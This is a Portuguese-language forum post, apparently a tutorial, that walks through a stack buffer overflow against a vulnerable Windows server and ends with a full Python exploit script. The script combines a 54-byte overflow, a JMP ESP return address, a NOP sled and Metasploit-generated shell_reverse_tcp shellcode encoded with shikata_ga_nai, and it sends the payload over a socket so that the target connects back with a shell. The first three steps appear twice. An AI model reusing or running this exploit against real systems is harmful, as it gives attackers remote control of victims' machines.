[ame]http://www.youtube.com/watch?v=ZIFW4YL_DI4[/ame]
1 - Olhei se o server estava vulneravel a Buffer Overflow, enviando 1000 'A', obtive sucesso, sobreescrevendo o Registrador EIP(Entry Point).
2 - Gerei 1000 caracteres com o pattern_create do Metasploit e com isso enviei para o server, me retornou um endereço, com o endereço coloquei no pattern_offset e obtive o quantia exata para sobreescrever o EIP, 54 bytes + 4 bytes.
3 - Pronto, já sei de quantos bytes são nessesários para sobreescrever o EIP, agora vamos ver quais dll o programa carrega e pega um endereço que pule para o ESP, mas pq ESP? Simplesmente pq o ESP está apontando para onde está nosso shellcode do payload. Achei o endereço 77056d53, maravilha, nesse endereço contem o seguinte comando, JMP ESP, um salto para o Registrador ESP, exatamente o queriamos.
1 - Olhei se o server estava vulneravel a Buffer Overflow, enviando 1000 'A', obtive sucesso, sobreescrevendo o Registrador EIP(Entry Point).
2 - Gerei 1000 caracteres com o pattern_create do Metasploit e com isso enviei para o server, me retornou um endereço, com o endereço coloquei no pattern_offset e obtive o quantia exata para sobreescrever o EIP, 54 bytes + 4 bytes.
3 - Pronto, já sei de quantos bytes são nessesários para sobreescrever o EIP, agora vamos ver quais dll o programa carrega e pega um endereço que pule para o ESP, mas pq ESP? Simplesmente pq o ESP está apontando para onde está nosso shellcode do payload. Achei o endereço 77056d53, maravilha, nesse endereço contem o seguinte comando, JMP ESP, um salto para o Registrador ESP, exatamente o queriamos.
4 - Geramos nosso payload, no Metasploit com os seguintes comandos:
+ msfconsole < abre o Metasploit console
+ use payload/windows/shell_reverse_tcp < shell reversa, ou seja, a vitima quem vai se + conectar com a gente...
+ set lhost IP < Aqui colocamos nosso IP.
+ set lport PORTA < A porta para a conexão.
+ set encoder x86/shikata_ga_nai < vamos codificar ele com o Shikata.
+ generate -b '\x00' < Geramos nosso shellcode do payload e retiramos os valores nulos(null(00)).
5 - Enviamos os seguinte dados na ordem, o buffer(54 bytes), ocasionando a falha, o endereço( 77056d53(esse endereço que vai sobreescrever o EIP, mas pq sobreescrever o EIP com um enrereço? Simplesmente pq ele aponta para a próxima instrução a ser executada(endereço), assim, ele vai pular para onde está o nosso payload na stack)) para pular pra o ESP, alguns NOP(90h(faz nada)) e nosso shellcode!
6 - Ser feliz! (:
Download do Server Vulneravel:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Code do Exploit:
Código PHP:
import socket
buff = b'A' * 54
eip = b'\x53\x6d\x05\x77'
nops = b'\x90' * 30
buf = b'\xbe\xb6\x17\xb0\xd8\xdd\xc0\xd9\x74\x24\xf4\x58 \x33\xc9'
buf += b'\xb1\x4f\x83\xc0\x04\x31\x70\x10\x03\x70\x10\x54 \xe2\x4c'
buf += b'\x30\x11\x0d\xad\xc1\x41\x87\x48\xf0\x53\xf3\x19 \xa1\x63'
buf += b'\x77\x4f\x4a\x08\xd5\x64\xd9\x7c\xf2\x8b\x6a\xca \x24\xa5'
buf += b'\x6b\xfb\xe8\x69\xaf\x9a\x94\x73\xfc\x7c\xa4\xbb \xf1\x7d'
buf += b'\xe1\xa6\xfa\x2f\xba\xad\xa9\xdf\xcf\xf0\x71\xde \x1f\x7f'
buf += b'\xc9\x98\x1a\x40\xbe\x12\x24\x91\x6f\x29\x6e\x09 \x1b\x75'
buf += b'\x4f\x28\xc8\x66\xb3\x63\x65\x5c\x47\x72\xaf\xad \xa8\x44'
buf += b'\x8f\x61\x97\x68\x02\x78\xdf\x4f\xfd\x0f\x2b\xac \x80\x17'
buf += b'\xe8\xce\x5e\x92\xed\x69\x14\x04\xd6\x88\xf9\xd2 \x9d\x87'
buf += b'\xb6\x91\xfa\x8b\x49\x76\x71\xb7\xc2\x79\x56\x31 \x90\x5d'
buf += b'\x72\x19\x42\xfc\x23\xc7\x25\x01\x33\xaf\x9a\xa7 \x3f\x42'
buf += b'\xce\xd1\x1d\x0b\x23\xef\x9d\xcb\x2b\x78\xed\xf9 \xf4\xd2'
buf += b'\x79\xb2\x7d\xfc\x7e\xb5\x57\xb8\x11\x48\x58\xb8 \x38\x8f'
buf += b'\x0c\xe8\x52\x26\x2d\x63\xa3\xc7\xf8\x23\xf3\x67 \x53\x83'
buf += b'\xa3\xc7\x03\x6b\xae\xc7\x7c\x8b\xd1\x0d\x0b\x8c \x46\x6e'
buf += b'\xa4\x10\x92\x06\xb7\x14\x31\xfb\x3e\xf2\x23\x14 \x17\xad'
buf += b'\xdb\x8d\x32\x25\x7d\x51\xe9\xad\x1e\xc0\x76\x2d \x68\xf9'
buf += b'\x20\x7a\x3d\xcf\x38\xee\xd3\x76\x93\x0c\x2e\xee \xdc\x94'
buf += b'\xf5\xd3\xe3\x15\x7b\x6f\xc0\x05\x45\x70\x4c\x71 \x19\x27'
buf += b'\x1a\x2f\xdf\x91\xec\x99\x89\x4e\xa7\x4d\x4f\xbd \x78\x0b'
buf += b'\x50\xe8\x0e\xf3\xe1\x45\x57\x0c\xcd\x01\x5f\x75 \x33\xb2'
buf += b'\xa0\xac\xf7\xc2\xea\xec\x5e\x4b\xb3\x65\xe3\x16 \x44\x50'
buf += b'\x20\x2f\xc7\x50\xd9\xd4\xd7\x11\xdc\x91\x5f\xca \xac\x8a'
buf += b'\x35\xec\x03\xaa\x1f'
ha = buff + eip + nops + buf
print('[+] Data length: ' + str(len(ha)) + ' bytes')
print('[+] Sending...\n')
print( ha )
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
s.connect(('192.168.1.3',15000))
s.send( ha )
s.close()
print('\n[+]OK')
Att #M0rph... (:
Comment